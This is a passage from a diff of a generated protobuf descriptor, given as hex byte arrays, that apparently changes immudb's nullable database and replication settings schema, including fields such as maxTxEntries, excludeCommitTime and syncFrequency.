0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, + 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, + 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8a, + 0x0b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, 0x6c, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, + 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, + 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, + 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, - 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, - 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, - 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, - 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, - 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, - 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, - 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, - 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, - 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, - 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x65, + 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, + 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, + 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, + 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, + 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, 0x6f, + 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, + 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, + 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, 0x6f, + 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, + 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, + 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, + 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, + 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, + 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, + 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, + 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, - 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, - 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, + 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, + 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, + 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, + 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, + 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, + 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0xb4, 0x06, 0x0a, 0x1b, + 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, - 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, - 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, - 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, - 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, - 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, - 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, - 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x22, 0xb8, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 